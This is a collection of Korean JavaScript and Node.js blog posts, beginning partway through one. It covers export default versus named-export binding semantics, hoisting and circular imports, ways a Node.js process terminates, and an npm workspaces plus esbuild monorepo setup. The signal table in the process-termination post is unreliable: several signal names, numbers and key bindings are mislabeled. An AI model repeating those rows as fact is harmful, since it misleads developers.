// 현재 값을 새로운 변수에 그대로 할당해서, 참조측에서 값이 바뀌든 말든 최초의 값을 계속 간직한다.
let {data} = await import('./module.js')
```

자 그럼, `export default`의 경우는 어떤가?

> 요즘 핫하게 클릭되는 https://yceffort.kr/2020/11/avoid-default-export 이글도 살펴보세여 😘

```javascript
export {data}
export default data

setTimeout(() => {
  data = 10
}, 500)
```

```javascript
import {data, default as data2} from './module.js'
import data3 from './module.js'

setTimeout(() => {
  console.log(data) // 10
  console.log(data2) // 5
  console.log(data3) // 5
}, 1000)
```

그렇다, default는 모두 값이 변하든 말든 상관없이 초기의 값을 간직하고 있다.

`export default`는 , 혹시 이렇게 써본 적이 있는지는 모르겠지만, `default`로 바로 그냥 값을 내보내 버릴 수 있다.

```javascript
export default 'direct'
```

그러나 named exports, 이름으로 export를 하는 경우에는 불가능하다.

```javascript
// 이런 코드는 존재할 수 없다.ㄴㄴ
export {'direct' as direct}
```

`export default 'direct'`가 동작하게 하기 위해서, default export는 named export와는 다르게 동작한다. `export default`는 일종의 표현식처럼 동작하여 값을 바로 내보내거나, 연산을 통한 결과 값이 나가는 것이 가능하다. (`export default 'direct'` `export default 1+2`) 근데 여기서 또한 `export default data`도 가능하다. 두가지 모두를 가능하게 하기 위하여, `default`뒤에 오는 변수를 모두 값으로 처리를 하는 것이다. 따라서 export 하는 쪽에서 새로운 값으로 변하게 했다 하더라도, `export default`의 동작의 특성상 변한 값이 내보내지는게 아니라, 그 순간의 값이 나가게 된다.

정리하자면,

```javascript
// 특정 값을 참조하는 것 처럼 동작하여, 값이 바뀌면 서순에 따라서 그 바뀐 값을 들고 올 수도 있다.
import {data} from './module.js'
import {data as value} from './module.js'
import * as all from './module.js'
const module = await import('./module.js')
// 현재 값을 새로운 변수에 그대로 할당해서, 참조측에서 값이 바뀌든 말든 최초의 값을 계속 간직한다.
let  { data } = await import('./module.js')

// 참조를 export
export {data}
export {data as data2}
// 현재 값 그 자체를 export
export default data
export default 'direct'
```

자 여기에 하나만 더 끼얹어보자. `export {}`는 값을 바로 내보낼 수는 없고 참조만 내보낼 수 있다.

```javascript
let data = 5

export {data, data as default}
setTimeout(() => {
  data = 10
}, 500)}
```

```javascript
import {data, default as data2} from './module.js'
import data3 from './module.js'

setTimeout(() => {
  console.log(data) // 10
  console.log(data2) // 10
  console.log(data3) // 10
}, 1000)
```

뭐야 이건 또, 값이 다 바꼈다. `export default data`와는 다르게, `export {data as default}`는 값이 아닌 참조를 내보낸 것을 알 수 있다. `as default`는 named export 와 같은 문법이므로, 참조를 내보낸 것을 알 수 있다.

그래서 또또 정리하자면,

```javascript
// 특정 값을 참조하는 것 처럼 동작하여, 값이 바뀌면 서순에 따라서 그 바뀐 값을 들고 올 수도 있다.
import {data} from './module.js'
import {data as value} from './module.js'
import * as all from './module.js'
const module = await import('./module.js')
// 현재 값을 새로운 변수에 그대로 할당해서, 참조측에서 값이 바뀌든 말든 최초의 값을 계속 간직한다.
let  { data } = await import('./module.js')

// 참조를 export
export {data}
export {data as data2}
export {data as default}
// 현재 값 그 자체를 export
export default data
export default 'direct'
```

함수는 어떨까?

```javascript
export default function getData() {}

setTimeout(() => {
  getData = '사실 변수 였습니다. 짜잔'
}, 500)
```

```javascript
import getData from './module.js'

setTimeout(() => {
  console.log(getData) // 사실 변수 였습니다. 짜잔
}, 1000)
```

.......?

```javascript
function getData() {}

export default getData

setTimeout(() => {
  getData = '사실 변수 였습니다. 짜잔'
}, 500)
```

```javascript
import getData from './module.js'

setTimeout(() => {
  console.log(getData) // [Function: getData]
}, 1000)
```

.....

`export default function`와 `export default class`는 조금 특별하다.

```javascript
function someFunction() {}
class SomeClass {}

console.log(typeof someFunction) // "function"
console.log(typeof SomeClass) // "function"
```

```javascript
;(function someFunction() {})
;(class SomeClass {})

console.log(typeof someFunction) // "undefined"
console.log(typeof SomeClass) // "undefined"
```

`function`과 `class` 문은 스코프/블록내에서는 identifier, 식별자를 만드는 반면, `function` `class` 표현식은 그렇지 않다.

따라서,

```javascript
export default function someFunction() {}
console.log(typeof someFunction) // "function"
```

만약, `export default function`이 값으로 내보내졌다면, 즉 기존의 `export default`와 동일하게 동작하여 표현식으로 동작했다면, `function`이 아닌 `undefined`로 찍혔을 것이다.

그래서 또또또또 요약을 하자면,

```javascript
// 특정 값을 참조하는 것 처럼 동작하여, 값이 바뀌면 서순에 따라서 그 바뀐 값을 들고 올 수도 있다.
import {data} from './module.js'
import {data as value} from './module.js'
import * as all from './module.js'
const module = await import('./module.js')
// 현재 값을 새로운 변수에 그대로 할당해서, 참조측에서 값이 바뀌든 말든 최초의 값을 계속 간직한다.
let  { data } = await import('./module.js')

// 참조를 export
export {data}
export {data as data2}
export {data as default}
export default function getData() {}
// 현재 값 그 자체를 export
export default data
export default 'direct'
```

여기서 한가지 명심해야할 것은, `export default 'direct'`는 값 그자체를 내보내는 반면, `export default function`은 참조를 내보낸다는 것이다.

> `export default = data` 와 같은게 차라리 더 나았을 지도 모른다..

호이스팅의 경우를 잠깐 생각해보자.

```javascript
work()

function work() {
  console.log("job's done")
}
```

이는 잘 알겠지만 동작한다. 함수 정의를 파일 위로 끌어올린다.

```javascript
// 둘다 안됨
assignedFunction()
new SomeClass()

const assignedFunction = function () {
  console.log('nope')
}
class SomeClass {}
```

`let` `const` `class` 식별자를 초기화 전에 쓰려고 하면, 에러가 발생한다.

```javascript
var foo = 'bar'

function test() {
  console.log(foo) // undefined
  var foo = 'hello'
}

test()
```

왜 undefined가 찍히는가? `var foo`는 함수 내에도 존재하고 있고, 함수 레벨에서 호이스팅이 있었고, `hello`로 할당되기 전에 호출되었기 때문에 값이 없는 것이다.

자바스크립트 내부에서는 아래와 같이 순환참조가 허용된다. 물론, 권장하지는 않는다.

```javascript
import {hi} from './module.js'

hi()

export function hello() {
  console.log('hello')
}
```

```javascript
import {hello} from './index.js'

hello()

export function hi() {
  console.log('hi')
}
```

"hello", 그 다음에 "hi" 가 나온다.이는 호이스팅 때문에 가능한 것이다. 호이스팅은 함수 정의를 호출 보다 위로 끌어올리기 때문이다.

그러나... 아래의 경우에는 안된다.

```javascript
import {hi} from './module.js'

hi()

export const hello = () => console.log('hello')
```

```javascript
import {hello} from './index.js'

hello()

export const hi = () => console.log('hi')
```

```text
hello()
^

ReferenceError: Cannot access 'hello' before initialization
```

호이스팅이 일어나지 않아 `module.js`를 먼저 실행했고, `module.js`에서는 아직 있지도 않은 (호이스팅 되지도 않은) `hello`를 실행해서 에러가 발생하는 것이다.

하지만 아래 처럼 `export default`를 써보자.

```javascript
import foo from './module.js'

foo()

function hello() {
  console.log('hello')
}

export default hello
```

```javascript
import hello from './index.js'

hello()

function hi() {
  console.log('hi')
}

export default hi
```

이것도, 실패한다.

```text
hello();
^

ReferenceError: Cannot access 'hello' before initialization
```

`module.js`에 있는 `hello`는 아직 초기화 되지않은 값이므로, 이를 호출하려다가 에러가 발생하게 된다.

그렇다, `export {hello as default}`로 바꿨다면 에러가 발생하지 않았을 것이다. 왜냐면 함수를 참조로 넘겨줬고, 그리고 그 순간 호이스팅이되었기 때문이다. `export default function hello()`도 마찬가지로 에러가 나지 않았을 것이다. 앞서 말했듯, `export default function`은 특별하게 처리한 케이스이기 때문이다.

## 결론!

```javascript
// 특정 값을 참조하는 것 처럼 동작하여, 값이 바뀌면 서순에 따라서 그 바뀐 값을 들고 올 수도 있다.
import {data} from './module.js'
import {data as value} from './module.js'
import * as all from './module.js'
const module = await import('./module.js')
// 현재 값을 새로운 변수에 그대로 할당해서, 참조측에서 값이 바뀌든 말든 최초의 값을 계속 간직한다.
let  { data } = await import('./module.js')

// 참조를 export
export {data}
export {data as data2}
export {data as default}
export default function getData() {}
// 현재 값 그 자체를 export
export default data
export default 'direct'
```

그리고, 위를 잘 참조하여 호이스팅이 발생할지 예측해보자.

> - https://jakearchibald.com/2021/export-default-thing-vs-thing-as-default/
> - https://developer.mozilla.org/ko/docs/orphaned/Web/JavaScript/Reference/Statements/export
> - https://nodejs.org/api/esm.html

---

Source: https://yceffort.kr/2021/07/kill-a-nodejs-process.md
Title: Nodejs 프로세스를 종료시키는 방법
Description: 이사하느라 힘들었습니다.
Date: 2021-07-16
Tags: nodejs, backend

nodejs 프로세스가 종료되는 상황으로는 여러가지가 있다. 에러가 발생하는 케이스와 같이 사전에 예방할 수 있는 경우가 있고, 혹은 메모리 부족과 시스템 오류와 같은 예방할 수 없는 것이 있다. 이 Process Global은 Event Emitter 인스턴스이며, graceful exit가 실행되면, 종료 이벤트를 발생 (emit) 한다. 그러면 애플리케이션 코드가 이 이 벤트를 수신하여 마지막 순간에 동기로 일어나는 정리 작업을 할 수 있다.

다음은 프로세스 종료를 의도적으로 발생시킬 수 있는 몇가지 방법이다.

| Operation                   | 예시                         |
| --------------------------- | ---------------------------- |
| 수동 프로세스 종료          | `process.exit(1)`            |
| Uncaught exception          | `throw new Error()`          |
| Unhandled promise rejection | `Promise.reject()`           |
| error event 무시            | `EventEmitter#emit('error')` |
| Unhandled Signals           | `$ kill <PROCESS_ID>`        |

이러한 오류 중 대부분은 `uncaught errors` `unhandled rejects`와 같이 실수로 발생되는 경우도 있지만, 이 들 중 일부는 프로세스를 직접 종료하기 위해 만들어 진 것이다.

## Process Exit

`process.exit(code)`는 프로세스를 종료하기 위한 가장 간단한 도구다. 프로세스의 수명이 다하여 종료시켜도 되는 경우에 스크립트를 작성할 때 매우 유용하다. 이 코드는 선택사항이며, 기본값은 0 이고 0에서 255까지 선택 가능하다. 0은 성공적인 프로세스 실행을 나타내는 반면, 0이 아닌 숫자는 사고가 발생했다는 것을 나타낸다. 이러한 값은 다양한 외부 툴에서 사용된다. 예를 들어, 테스트를 실행 할 때, 0이 아니면 테스트가 실패한 것이다.

`process.exit`가 직접 실행되면, 콘솔에는 암묵적으로 텍스트가 출력되지 않는다. 오류를 알리기 위해 이 메서드를 호출하는 경우, 사용자가 직접 오류를 찍어야 한다.

```bash
$ node -e "process.exit(42)"
$ echo $?
```

이 경우, shell이 종료를 나타내긴 했지만, nodejs 애플리케이션에서는 이 메시지가 출력되지 않았다. 이렇게 되면 사용자는 무슨 일이 일어났는지를 알지 못한다. 따라서 아래와 같이 종료시키는 것이 좋다.

```javascript
function checkConfig(config) {
  if (!config.host) {
    console.error("Configuration is missing 'host' parameter!")
    process.exit(1)
  }
}
```

사용자는 이 경우 명확하게 이해할 수 있다. 콘솔에 에러가 찍히고, 사용자는 이 상황에 대해 이해하고 해걸할 수 있다.

`process.exit()`는 매우 강력한 도구다. 하지만 재사용 가능한 라이브러리에 이 코드를 사용해서는 안된다.라이브러리에서 오류가 발생하면 애플리케이션이 오류를 어떻게 할지 결정할 수 있도록 오류를 생성해야 한다.

## Exceptions, Rejections, 그리고 Emitted Error

`process.exit()`는 시작/설정단계에서 사용할 수 있는 강력한 도구인반면, 실행 단계에서는 다른 툴을 사용해야한다. 예를 들어, 애플리케이션이 http 요청을 처리할 때 발생하는 오류는 프로세스를 종료하지 않고 오류 응답만 반환해야 한다. 오류가 발생한 위치에 대한 정보를 노출하는 것도 필요하다. 따라서 여기서 던져진 오류 객체가 유용하다.

`Error` 클래스의 인스턴스에는 스택 추적 및 메시지 문자열과 같이 오류의 원인을 파악하는데 유용한 메타데이터가 포함되어 있다. `Error` 클래스를 기반으로 사용자가 고유의 애플리케이션 `Error` 클래스를 만들어서 확장해서 사용하는 것이 일반적이다. `Error`를 인스턴스화하는 것 자체로는 부수효과가 없다. (=별일이 일어나지 않는다.) 오류가 발생하기 위해서는, 이 `Error` 클래스를 던져야 한다.

에러는 `throw` 키워드를 사용해서 던지거나, 특정 논리적인 오류가 발행할때 나타난다. 이러한 상황이 나타나면 현재 스택은 `unwinds`가 된다. 이 뜻은 각 함수가 `try...catch` 가 감싸는 문구를 만날 때까지 종료됨을 의미한다. 만약 `try...catch`를 만나지 못한다면, 이 는 uncaught된 에러로 간주한다.

`throw` 키워드를 사용하여 `throw new Error('hi')`와 같이 에러를 던지는 것은, 기술적으로 무엇이든 던질 수 있다. 무엇이든 던져지게 되면 이는 예외로 간주된다. 이렇게 던져지는 에러 인스턴스는 이 인스턴스를 기반으로 에러의 속성을 예상할 수 있으므로, 에러 인스턴스를 생성하는 것이 중요하다.

Node.js 라이브러리 내부에서 널리 사용되는 또다른 패턴은, 릴리즈 간에 일관성을 유지하기 위한 `.code` 값을 제공하는 것이다. 일례로 `ERR_INVALID_URI`가 있는데, 사람이 읽을 수 있는 `message`는 바뀔 수 있지만, `.code` 는 바뀌지 않는다.

안타깝게도, 에러를 구분하는 방법 중 또다른 하나는 `.message` 프로퍼티를 사용하는 것인데, 이는 위험하고 오류가 발생하기 쉽다. Node.js에서는 모든 라이브러리에서 오류를 완벽하게 구분할 수 있는 방법은 없다.

uncaught 에러가 스택에 던져지면, 콘솔에 찍히고 프로세스가 종료되며, 종료 상태값은 1이다. 이러한 예외의 예제를 살펴보자.

```bash
/tmp/foo.js:1
throw new TypeError('invalid foo');
^
Error: invalid foo
    at Object.<anonymous> (/tmp/foo.js:2:11)
    ... TRUNCATED ...
    at internal/main/run_main_module.js:17:47
```

`process` 글로벌은 Event Emitter로 `uncapturedException` 이벤트를 수신하여 uncaught 에러를 처리하는데 사용한다.

```javascript
const logger = require('./lib/logger.js')
process.on('uncaughtException', (error) => {
  logger.send('An uncaught exception has occured', error, () => {
    console.error(error)
    process.exit(1)
  })
})
```

Promise Rejection은 에러를 던지는 것과 유사하다. Promise에서 `reject()` 메서드가 호출되거나, 비동기 함수내에서 에러가 던져지는 경우 사용된다.

```javascript
Promise.reject(new Error('oh no'))
;(async () => {
  throw new Error('oh no')
})()
```

```text
(node:52298) UnhandledPromiseRejectionWarning: Error: oh no
    at Object.<anonymous> (/tmp/reject.js:1:16)
    ... TRUNCATED ...
    at internal/main/run_main_module.js:17:47
(node:52298) UnhandledPromiseRejectionWarning: Unhandled promise
  rejection. This error originated either by throwing inside of an
  async function without a catch block, or by rejecting a promise
  which was not handled with .catch().
```

`uncaught exception`와는 다르게, 이러한 거부로 인해 node.js v14 에서는 크래쉬하지 않는다. 그러나, 그 이후 버전부터는 프로세스가 크래쉬된다. 또한 , 이 이벤트는 다음과 같이 캐치할 수 있다.

```javascript
process.on('unhandledRejection', (reason, promise) => {})
```

Event Emitter는 nodejs에서 흔한 패턴으로, 라이브러리와 애플리케이션 등에서 기본 클래스에서 확장한 많은 객체들이 존재한다.

Event Emitter가 `error` 이벤트를 발생시켰는데 여기에 아무런 리스너가 없다면, Emitter가 내보낸 인수를 던진다. 그렇게 되면 에러가 나서 프로세스가 종료된다.

```text
events.js:306
    throw err; // Unhandled 'error' event
    ^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
    at EventEmitter.emit (events.js:304:17)
    at Object.<anonymous> (/tmp/foo.js:1:40)
    ... TRUNCATED ...
    at internal/main/run_main_module.js:17:47 {
  code: 'ERR_UNHANDLED_ERROR',
  context: undefined
}
```

작업하는 Event Emitter 인스턴스에서 에러 이벤트를 수신하여, 애플리케이션이 멈추지 않고 이벤트를 정상적으로 처리할 수 있도록 해야 한다.

## Signal

시그널은 운영체제에서 하나의 프로그램에서 다른 프로그램으로 작은 숫자 메시지를 보내기 위해 제공하는 메커니즘이다. 이러한 숫자는 상수 문자열로 참조되는 경우가 많다. 예를 들어, 시그널 `SIGKILL`은 숫자 9의 시그널을 나타낸다.

운영 체제에 따라 서로다른 시그널이 정의될 수 있지만, 아래 목록은 일반적으로 범용이다.

| 이름    | 숫자 | handleable | Node.js 동작 | 목적                                |
| ------- | ---- | ---------- | ------------ | ----------------------------------- |
| SIGUP   | 1    | YES        | 종료         | 부모 터미널이 종료된 경우           |
| SIGINT  | 2    | YES        | 종료         | `Ctrl + C`로 터미널에 간섭하는 경우 |
| SIGQUIT | 3    | YES        | 종료         | `Ctrl + D`로 터미널을 끝내려는 경우 |
| SIGKILL | 9    | NO         | 종료         | 프로세스가 강제로 죽는 경우         |
| SIGUSR1 | 10   | YES        | 디버거 시작  | 사용자 정의 시그널 1                |
| SIGUSR2 | 12   | YES        | 종료         | 사용자 정의 시그널 2                |
| SIGUSR1 | 10   | YES        | 종료         | 정상종료                            |
| SIGUSR1 | 19   | NO         | 종료         | 프로세스가 강제로 멈추는 경우       |

프로그램에서 이러한 시그널 처리를 구현할 수 있도록 한 경우, Handleable이 YES 다. NO로 표시되어 있는 경우 처리할 수 없다. Node.js 동작은 신호가 수신되었을 때 Node.js 프로그램의 기본작업을 나타낸다. 마지막 열은, 일반적으로 어떻게 사용되는지 알려준다.

Node.js에서 이러한 시그널을 수신하기 위해서는, 아래처럼 `process`객체에 이벤트 리스너를 달면 된다.

```javascript
#!/usr/bin/env node
console.log(`Process ID: ${process.pid}`)
process.on('SIGHUP', () => console.log('Received: SIGHUP'))
process.on('SIGINT', () => console.log('Received: SIGINT'))
setTimeout(() => {}, 5 * 60 * 1000) // keep process alive
```

이 프로그램을 터미널에서 실행하고, `Ctrl+C`를 해보면, 프로세스가 죽지 않는다. 그 대신, `SIGINT`시그널을 받는다. 다른 터미널 창으로 가서, 프로세스 ID 값을 기준으로

```bash
$ kill -s SIGHUP <PROCESS_ID>
```

를 실행하면, 이는 한 프로그램이 다른 프로그램으로 신호를 보낼 수 있다는 것을 알 수 있다. 이전 터미널에서 실행중인 node.js 프로그램이 SIGHUP 신호를 수신하여 인쇄한다.

눈치챘을 수도 있지만, Node.js 는 다른 프로그램에도 명령을 전송할 수 있다.

```bash
$ node -e "process.kill(<PROCESS_ID>, 'SIGHUP')"
```

이는 첫번째 프로그램에 `SIGHUP`를 표시하게 한다. 만약, 해당 프로세스를 종료 시키고 싶다면 아래 명령어를 통해서 `SIGKILL` 시그널을 보내면 된다.

```bash
$ kill -9 <PROCESS_ID>
```

이 시점에서, 애플리케이션은 종료된다.

이러한 시그널은 정상 종료 처리 이벤트를 처리하기 위해 Node.js 애플리케이션에서 많이 사용된다. 예를 들어 쿠버네틱스의 pod가 종료되면 애플리케이션에 `SIGTERM` 신호를 보낸다음, 30초 타이머를 시작한다. 그러면 애플리케이션이 30초 내에 정상적으로 종료되면서 연결을 닫고, 데이터를 저장할 수 있다. 타이머 이후에도 프로세스가 활성화 되어있으면 쿠버네틱스가 `SIGKILL`을 보낸다.

https://thomashunter.name/posts/2021-03-08-the-death-of-a-nodejs-process

---

Source: https://yceffort.kr/2021/07/npm-workspaces-esbuild.md
Title: npm workspace와 esbuild로 monorepo 구축해보기
Description: 계속 찍먹만 해보는 중
Date: 2021-07-06
Tags: monorepo, build-tools, javascript

매번 느끼는 거지만 자바스크립트 생태계는 진짜 쉴새 없이 변한다. 하루에도 수십 수백가지의 패키지가 만들어지고, 또 잘나가는 프로젝트는 오늘도 버전업과 기능 추가에 여념이 없다.

그런 와중에 내 눈에 들어온 것이 npm workspace와 esbuild다. npm workspace는 과연 lerna의 아성을 넘을 만큼 잘만들어졌을까? esbuild는 또 걔네들이 말하는 것처럼 엄청 빠를까?

## 예제 레파지토리

https://github.com/yceffort/workspaces-esbuild-example

## npm workspace

npm v7 이 정식으로 나오면서 모노레포를 지원하게 되었다. 원래 monorepo는 lerna와 yarn이 꽉잡고 있던 영역이었는데, 이번에 npm이 등장하게 되면서 npm cli로도 workspace를 활용하면 모노레포를 구축할 수 있게 되었다.

https://docs.npmjs.com/cli/v7/using-npm/workspaces

이 기능을 활용하면, 로컬 파일시스템에서 연결된 패키지를 훨씬 더 효율적으로 관리할 수 있게 해준다. 기존에 원래 있던 명령어인 `npm install`을 활용하면 자동으로 패키지를 link 해주고, 서로 다른 패키지 레벨에서 `npm link`할 필요 없이 알아서 현재 폴더의 `node_modules`를 가지고 연결해준다.

npm workspace를 어떻게 구축하는지 먼저 살펴보자.

```json
{
  "name": "@yceffort/monorepo",
  "version": "0.0.1",
  "description": "",
  "main": "index.js",
  "scripts": {
    "build:all": "npm run build --workspaces",
    "deploy:all": "npm run deploy --workspaces",
    "lint": "eslint '**/*.{js,ts,tsx}'",
    "lint:fix": "npm run lint -- --fix",
    "prettier": "prettier '**/*.{json,yaml,md}' --check",
    "prettier:fix": "prettier '**/*.{json,yaml,md}' --write"
  },
  "author": "yceffort",
  "license": "ISC",
  "devDependencies": {
    "esbuild": "^0.12.12",
    "esbuild-node-externals": "^1.3.0",
    "eslint-config-yceffort": "0.0.5",
    "typescript": "^4.3.4"
  },
  "workspaces": ["./packages/*"]
}
```

먼저 프로젝트 루트 디렉토리에서 `workspaces`를 정의해줘야 한다. 위 예제에서는, `packages` 디렉토리 이하에 있는 프로젝트를 각각 모노레포의 모듈로 가져가기 위해 설정해두었다.

그리고 모노레포로 가져갈 레파지토리에 package.json을 설정해 둬야 한다. 이는 일반적인 패키지 설정과 별 차이가 없다.

여기서 `npm install`을 해보자.

> 한가지 중요한 것은 (당연한 이야기지만) npm v7 이어야 한다는 것이다. 이 실험을 위해서 무작정 npm v7을 설치하는 것은 권장하지 않는다. v7의 또한가지 변경점은 package-lock.json의 관리방식이 변경되었다는 것이다. (lock-version이 2로 올라갔다) 그래서 npm v7 을 버전업 한 후에 다른 프로젝트에서 npm i 를 날리면 package-lock.json에 무지막지한 diff 가 생성될 것이다. 이를 방지하기 위해 `npx npm@7` 를 사용하도록 하자. 뭐, 다른 프로젝트도 lockversion v2를 가져가도 괜찮다면 상관없다.

![npm-workspace](./images/npm-workspace-1.png)

여러개의 `package.json`이 있지만, `node_modules`는 루트에만 생성된 것을 볼 수 있다. 하위 패키지들의 참조는 모두 이 루트의 `node_modules`로 이어져 있다. (앞서 장황하게 설명한 그것)

이러한 패키지 설정을 매번 수동으로 할 필요는 없다.

```bash
npm init -w ./packages/some-package
```

이렇게 하면 알아서 하위 패키지를 만들어둔다. 단, 루트에 있는 `package.json`에 `workspaces` 값이 새롭게 추가된 패키지도 가르키고 있는지 확인해야 한다. 난 그게 귀찮아서 `*`로 처리했다.

만약 워크 스페이스에 의존성을 설치하고 싶다면,

```bash
npm install react -w some-package
```

와 같은 방식으로 하면 된다. 물론, `package.json`에 직접 방문해서 루트에서 `npm install`을 설치해도 된다.

## esbuild

자바스크립트는 느리다. 애초에 이렇게까지 쓰기 위해서 설계된 언어가 아니기 때문이다. 애초에 웹페이지에 있는 폼이나, 간단한 연산 정도만 처리할 용도로만 만들어졌기 때문이다. (싱글 스레드) 따라서 번들러가 느린 것도 어느정도 어쩔 수 없는 문제(?) 로 다들 받아드리고 있었다. 그런데, 아예 번들러를 저수준의 다른언어인 GO로 만들어버려서 이 속도문제를 해결한 것이 바로 esbuild다.

https://esbuild.github.io/

이 esbuild로 모노레포를 한번 만들어보려고 한다.

https://esbuild.github.io/getting-started/#your-first-bundle

```javascript
// esbuild
const esbuild = require('esbuild')
// 빌드시에 자동으로 node_modules를 제외 해준다.
// https://github.com/pradel/esbuild-node-externals
const {nodeExternalsPlugin} = require('esbuild-node-externals')

esbuild
  .build({
    entryPoints: ['./src/index.ts'],
    outfile: 'dist/index.js',
    bundle: true,
    minify: true,
    platform: 'browser',
    format: 'esm',
    sourcemap: true,
    target: 'es6',
    plugins: [nodeExternalsPlugin()],
  })
  .catch(() => process.exit(1))
```

처음 설정을 하고 느꼈던 첫인상은, webpack이나 rollup 처럼 json 설정이 불가능하다는 것이다. `.babelrc`와 같은 [cosmicconfig](https://github.com/davidtheclark/cosmiconfig)로 설정파일을 만드는 것이 불가능하다.

본격적으로 설정파일을 하나씩 파헤쳐보자.

- [entryPoints](https://esbuild.github.io/api/#entry-points): 번들링 알고리즘이 들어가게 되는 애플리케이션의 entry 포인트다. 보시다시피 ts가 자동지원 되기 때문에 (다 지원되는 건 아니다.) 타입스크립트 파일을 넣어도 무방하다.
- [outfile](https://esbuild.github.io/api/#outfile): 번들의 결과물이다. `entryPoints`와는 다르게, 딱 하나의 파일만 (문자열만) 가능한 것을 볼 수 있다. 단하나의 번들된, 그리고 minified된 파일이 나오게 된다.
- [bundle](https://esbuild.github.io/api/#bundle): 번들링 여부
- [minify](https://esbuild.github.io/api/#minify): minification (자바스크립트 파일 축소) 여부
- [platform](https://esbuild.github.io/api/#platform): 번들링된 파일이 어느 환경에서 실행될지를 결정하게 된다.
- [format](https://esbuild.github.io/api/#format): 생성된 파일의 형태를 나타낸다. `iife`, `cjs` `esm`이 가능하다.
- [sourcemap](https://esbuild.github.io/api/#sourcemap): 디버깅을 용이하게 해주는 소스맵 제공 여부
- [target](https://esbuild.github.io/api/#target): 어떤 플랫폼의 버전에서 사용할 수 있을지 명시한다. 가능한 옵션은 https://esbuild.github.io/content-types/#javascript 여기에 있다.

위 설정대로 esbuild를 실행해보자.

**sum.ts**

```typescript
export default function sum(...args: number[]) {
  return args.reduce((prev, acc) => acc + prev, 0)
}
```

**formatNumber.ts**

```typescript
export default function formatNumberWithComma(value: string | number): string {
  if (typeof value === 'string' && isNaN(+value)) {
    return value
  }

  let formattedNumber = `${value}`

  const reg = /(^[+-]?\d+)(\d{3})/

  while (reg.test(formattedNumber)) {
    formattedNumber = formattedNumber.replace(reg, '$1,$2')
  }

  return formattedNumber
}
```

**index.ts**

```typescript
export {default as sum} from './sum'
export {default as formatNumberWithComma} from './formatNumber'
```

**결과**

(minified된 파일을 보기 쉽게 하기 위해 unminifed함.)

```javascript
function m(...r) {
  return r.reduce((t, e) => e + t, 0)
}

function o(r) {
  if (typeof r == 'string' && isNaN(+r)) return r
  let t = `${r}`,
    e = /(^[+-]?\d+)(\d{3})/
  for (; e.test(t);) t = t.replace(e, '$1,$2')
  return t
}
export {o as formatNumberWithComma, m as sum}
//# sourceMappingURL=index.js.map
```

## 삽질하면서 깨달은 것들, 그리고 감상

- target을 ES5로 할수 없다. 이는 공식 문서 https://esbuild.github.io/content-types/ 에도 나와있고, 찾아보니 제작자도 지원할 생각이 없는 것 같다. https://github.com/evanw/esbuild/issues/182#issuecomment-646297130 따라서 별도로 transpile 후에, 다시 esbuild를 해줘야 한다.
- 타입스크립트를 지원하지만, d.ts를 emit 해주지 않는다. 이를 위해서는 별도로 `tsc`를 실행해서 타입을 만들어야 한다. 그래서 빌드시 별도로 `tsc`를 실행했다.

```json
{
  "extends": "../../tsconfig.base.json",
  "compilerOptions": {
    "baseUrl": ".",
    "rootDir": "src",
    "outDir": "./dist",
    "declarationDir": "./dist",
    // 이 아래 두개가 중요
    "emitDeclarationOnly": true,
    "declaration": true,
    "types": ["jest", "node"]
  },
  "include": ["./src/**/*.ts"],
  "exclude": ["node_modules", "dist"]
}
```

- css module 번들링이 아직 완벽하지는 않은 것 같다. https://github.com/evanw/esbuild/issues/20 현재 제작자가 최선을 다해서(?) 작업중이라고 한다.
- 그 밖에도 아직 작업중인 것들이 많다. 0.x 버전인데에는 이유가 있었다.
- `npx npm@7`을 매번 해주는 것이 너무 귀찮았다 (...) 가끔 이 사실을 까먹고 workspace를 쓰면 당연히 안된다. default로 7을 쓰고 싶지만, 다른 프로젝트 때문에 쓰지 못해서 아쉬웠다. 물론, `nvm`을 써서 node@16을 쓰고, 여기의 기본 npm 버전에 의존하는 방법 (7.18.1)도 있었지만, 생각만큼 잘되지는 않았다.
- 방금 예제는 정말 간단한 패키지라서 속도를 체감할 수는 없었지만, 큰 패키지를 대상으로 실험해본 결과 정말로 크게 속도차이가 나긴 했다.
- `webpack` 환경에서도 사용할 수 있도록 [esbuild-loader](https://github.com/privatenumber/esbuild-loader)가 존재한다. 앞서 살펴본것처럼, minify, uglify도 esbuild가 해주기 때문에 terser를 대체할 수 있다.
  - 벤치마킹 : https://github.com/privatenumber/minification-benchmarks
- 제법 많은 플러그인들이 존재했다. https://github.com/esbuild/community-plugins
- 개발자가 혼자서 고군 분투 중이었다. 정말 멋있었다. (존경)
- esbuild로 SSR도 가능한 것처럼 보인다. https://github.com/egoist/maho 깊게 살펴보진 않았지만
  - 차라리 vite를 사용해보는 걸 추천하고 싶다. https://vitejs.dev/guide/ssr.html 물론 여기도 experimental이다.

웹팩은 이미 메이저버전이 5까지 나와있을 정도로 성숙한 프로젝트고, 또 많은 사람들이 널리 사용하고 있는 프로젝트다. (롤업과 parcel도 잊으면 안된다) 하지만 기존의 당연시 생각되는 것들을 깨는 새로운 것의 등장은 언제나 보는 사람으로 하여금 설레게 하는 것 같다. esbuild도 그런 프로젝트 중 하나로, 정식 버전 업데이트 까지 잘 만들어졌으면 좋겠다.

아, workspace도 npm 생태계에 모노레포를 잘 녹여낸 것 같아서 좋았다. lerna보다는 쓰기 편한 것 같은 느낌?하지만, npm@7에서 workspace말고 그외에는 글쎄... 🤔

https://blog.logrocket.com/whats-new-in-npm-v7/

---

Source: https://yceffort.kr/2021/07/nodejs-modules-packages-semver.md
Title: Nodejs 모듈 (CommonJS, ECMAScript) 과 패키지, 그리고 Semver
Description: 어우 피곤해
Date: 2021-07-05
Tags: nodejs

## Node.js의 모듈

아주 간단히 이야기 하자면, Node.js의 모듈이란 필요로하는 자바스크립트 파일을 의미한다. Node.js 런타임은 현재 두가지 유형의 모듈을 지원한다. 첫번째는 `CommonJS` 모듈이며, 이는 Node.js가 가장 오랫동안 지원해온 모듈 시스템이다. 이는 `*.js`나 `*.cjs`로 끝난다. 두 번째로는 요즘 자주 사용되는, ECMAScript 방식이다. 이 파일 확장자는 `*.js`나 `*.mjs`로 끝난다.

`CommonJS` 모듈은 일반적으로 웹 브라우저에서 로드되는 자바스크립트 파일과는 약간 다르다. CommonJS 자바스크립트 파일에는 다른 공통 파일을 참조하기 위해 사용할 수 있는 `require()`가 존재하고, 다른 공통파일에서 참조할 수 있도록 하는 `exports`가 존재한다. Webpack이나 Browserify와 같은 도구들은 브라우저 환경에서 CommonJS 파일을 사용할 수 있게 해준다.

